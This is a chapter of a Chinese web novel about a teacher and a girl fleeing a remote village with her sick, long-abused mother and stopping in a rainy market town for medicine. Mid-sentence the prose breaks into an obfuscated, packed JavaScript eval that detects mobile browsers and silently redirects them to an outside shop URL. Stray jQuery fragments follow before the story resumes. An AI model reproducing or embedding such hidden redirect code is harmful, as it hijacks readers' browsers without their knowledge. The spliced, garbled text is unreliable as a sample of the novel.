车子有惊无险地开过了三十多公里的山路,等走完最后一个下坡路再拐个弯,车子的轮胎忽然一震,车身瞬间平稳,已开上了水泥路面。
杨盛文精神一振,目视前方,丰收集市果然已经在眼前。
作为第一道沟几个村子的中心,跟村子里零零散散的房子不一样,丰收集市的房子就建在两车宽水泥路面的两侧,黑瓦白墙的老式房子居多,其中夹杂着不少两层三层的旧式小楼房,一楼大多作商铺用,二楼住人。
因为雨势太大,时间又还早,所以即使今天是赶集日,道路两边的店铺依然紧闭着门,只是不时能看到有二层三层屋主拿着扫把、簸箕在铲冲进屋里的积水。
看到有车经过,正在劳作的人都惊讶地停下动作来指指点点,看见车辆没停,又继续忙手里的事了。
杨盛文已经集中精神开了三个多小时的车了,无论是精神还是身体都极度地疲倦,迫切地需要休息一下补充体力,他想找个可以避雨的地方停车休息一会,又不敢往人多的地方挤,问谢锦年:“这边有什么地方方便停车的?我们需要休息一下再上路。”
谢锦年想了一下:“我记得以前那里有个凉亭,平时拉货的车会在那里停靠一下,不如去前面找一找。”
杨盛文按照谢锦年的指示一边开车一边找,终于在路边看到一个小小的凉亭,大概五六个平方的样子,四面篓空,只有一个顶,中间一个小石桌,下面放着三张凳子。
此时雨势正大,凉亭里四处都溅湿了,实在不是个避雨的好地方,但除了这里,他们也没有更好的选择了。
杨盛文把车靠着凉亭停下,打着伞下了车,走进了凉亭里活动了一下僵硬的手脚。
谢锦年也把赵姬从车里扶了出来,三人在亭子下面避雨。
赵姬面无表情,目光空虚地看着亭子外面茫茫的大雨,逃出来了吗?她真的逃出来了吗?她想哭,想笑,想尖叫,想把周围能摔能扔的东西都摔个稀巴烂,可是她的身体却仿佛脱力一般,一丝力气也没有。
谢锦年觉得她的脸色不对,伸手探了探她的额头,脸色一变:“你发烧了?!”
杨盛文一惊,这时候发烧可不是什么好消息,他迅速回到车上拿出背包翻找了半天,翻出了一颗退烧药递给她:“把药吃了。”
赵姬面无表情地接过,水都不用,直接吞进了肚子里。
杨盛文又从背包里拿出了三个饼,一人分了一个,望着茫茫的雨雾有点发愁。
一年前来的时候他也曾遇到过这样的大雨,庞荣带着他在路上找了户人家躲了两天,等雨过了才进的三花村,但路途之艰难他到今天还记忆犹新,而这次的雨甚至比他来的时候还大。
跟着他的两个女人,一个被折磨得骨瘦如柴精神恍惚现在还生病了,一个还未成年,他能带着她们顺利地从五道沟逃出去吗?
赵姬刚开始发烧,吃完退烧药后又开始发冷,整个人抖得如秋风中的落叶,谢锦年紧紧地抱着她,把带上的所有衣服都给她穿上了也不顶用。
杨盛文俊秀的眉眼间愁容一片:“不行,她得看医生。”
赵姬牙齿都在打冷颤,却挣扎着道:“不行,我们还没有脱险,说不定现在三花村的人已经发现我们逃了,我们不能停留在这里。”
杨盛文一脸为难,赵姬咬着牙,额头上全是冷汗,眼神里却露出强烈的恨意:“十八年了,我在这人间炼狱里整整熬过了十八年,老天都没有带走我,我不信这小小的伤风感冒能要了我的命!”
谢锦年眼神复杂,她也没有想到谢家人一直把赵姬当成奴隶虐待都没让她倒下,而他们不过才逃亡了半天,她居然就开始生起病来,难道是因为一直让她坚持着的那股信念散了,她就站不住了?
更糟糕的是杨盛文身上的退烧药只剩下一片了,如果赵姬再烧起来,他们又在途中,是根本没办法给她治病的。
赵姬看着两人犹豫的神色,咬牙道:“杨老师,你不用管我,18年我都熬过来了,胜利在望,我就不相信我战胜不了这小小的发烧。”
谢锦年低声道:“那你要吃东西,吃不下也要吃,不吃东西,身体没有抵抗力,发烧更难好了。”
赵姬颤抖着手接过她拿来的饼子,直接就往嘴里塞,一边塞一边干呕,她就继续塞,带着一往无前的倔强。谢锦年在一旁小心地给她拍背喂水,杨盛文看着心酸,别过了眼睛不忍再看。
看着赵姬把整个饼都吃完了,谢锦年松了口气,把她扶进车后座上躺着:“你先睡一觉,睡醒了说不定烧就退了。”
赵姬整个人都昏昏沉沉的,缩在后座上很快就睡着了,一米六几的个子,只有小小的一团,让人看了心酸不已。
杨盛文深深皱眉,拉过谢锦年轻声道:“丰收集市上有药店吗?退烧药只剩下一片了,你妈这样子不行的,这么瘦,抵抗力应该也没有……”
谢锦年一凛:“有,有个卫生站,几个村子里的人生病了都到卫生站里看病拿药的。”
杨盛文便撑了伞:“你在这里等着,我去帮你妈买点药。”
谢锦年拉住他:“杨老师,我去吧,你不是本地人,不会说这里的话,怕被人发现。”
杨盛文欲言又止:“那你小心点,买完了不要逗留。”说着,他从口袋里拿出钱来要递给她,被谢锦年推拒了:“谢谢老师,我有钱。”
她接过他手里的伞就要往卫生所的方向走,走了两步像是想起什么,又倒了回来:“老师,万一有人过来问起,你就说你是五道沟领导新招的司机,奉上面的指示,接我妈去天海市看病。”五道沟的人基本上都认得庞荣,也认得这辆车,如果不这么说,他们会对杨盛文起疑的。
杨盛文愣住:“下这么大的雨,应该不会有人过来吧?”
谢锦年道:“以防万一罢了,五道沟对外面的人防备心很重,如果不找个理由我们敷衍不过去。”虽然这个理由其实也经不起推敲,但她也没有更好的办法了。
这一耽误,已经接近九点钟了,谢锦年心里还压着一件大事,偏偏这时候还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061224|137739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要分神去买药,着急得不得了,撑起伞就往卫生站的方向跑去。
大雨之下疾行,伞的作用略等于无,很快,她的衣服、裤子都被打湿了,既然都已经湿了,她也顾不得许多了,索性在雨里奔跑了起来。
凉亭在丰收集市接近山边的后段,卫生站在集市的中间,谢锦年跑了快十分钟才跑到了卫生站的前面,大雨倾盆,路上行人虽然寥寥,但卫生站里面却依然挤了不少人。
谢锦年心里咯噔一声,不由感叹,果然无论是哪个时代,医院都是最多人的……
看她打着伞过来,身上全湿了,坐在门口的一位老太太急得朝她直招手:“哎哟,这是哪家的闺女?怎么打伞不穿雨衣出来?看这全身都湿透了……”
谢锦年几步进了卫生站的走廊,不好意思地朝老太太笑了笑。
老太太仔细看了她一眼,疑惑道:“你是哪家的闺女啊?怎么没见过?”
谢锦年开口就是三花村的方言:“我从村子来的,我妈发烧了,来买点药。”
村里的方言跟丰收集市上的方言有一点点区别,但本地人都很熟悉,老太太很快就打消了疑虑,却对谢锦年大雨天打伞的行为很是看不过眼:“这么大的雨怎么不穿件雨衣,这伞顶什么用?”
谢锦年笑笑,没再理她,把伞放到一边,排队去买药。
小小的卫生院里挤了十几个人,谢锦年排在最后,时间一分一秒地过去,她心急如焚,却只能干等,偏偏值班的医生只有一个,年纪不小了,戴着副老花镜慢吞吞地看着患者,十几分钟都看不完一个人。
好不容易看完了一个人,谢锦年一个箭步上前,掏出5块钱给下一个轮到的人:“可不可以跟你换个位置?我只要拿点退烧药就好,很快的。”
正排队的老头一乐,还有这种好事,5块钱呢,能买一斤多的肉了,而且满打满算也只要等十来个人就到他了,他生怕谢锦年反悔,连忙从她手上拿走5块钱,迭声道:“行行行,你先来你先来。”调头就排到队伍最后去了。
后面等着的人一阵轰动,看到老头不过给她换个位置就赚了五块钱,不由得眼红了:“哪来丫头的啊?钱是大路上捡的呀?”
“换个位置五块钱,老钱,你赚大了。”
谢锦年却管不了这么多了,她直接站到了老医生的面前:“医生,我要买点退烧药。”
老医生慢吞吞地扶了下眼镜,翻开一页新的病历表就开始往上面写东西:“叫啥名字?发烧了?”
谢锦年不想在卫生站留下自己的名字,只好道:“是我妈淋了雨,又发热又发冷的,现在雨太大了来不了,让我过来买三天的药回去。”
老医生嗤之以鼻:“人都没见着给你开三天药?吃出了问题怎么办?”
谢锦年着急:“伯伯,她就是淋了雨才烧起来的,你就拿点头孢之类的退烧药给我,再开点甘草片止咳就差不多了。”
老医生不满了:“到底你是医生还是我是医生?我都没问清楚病情你就自己乱开药……”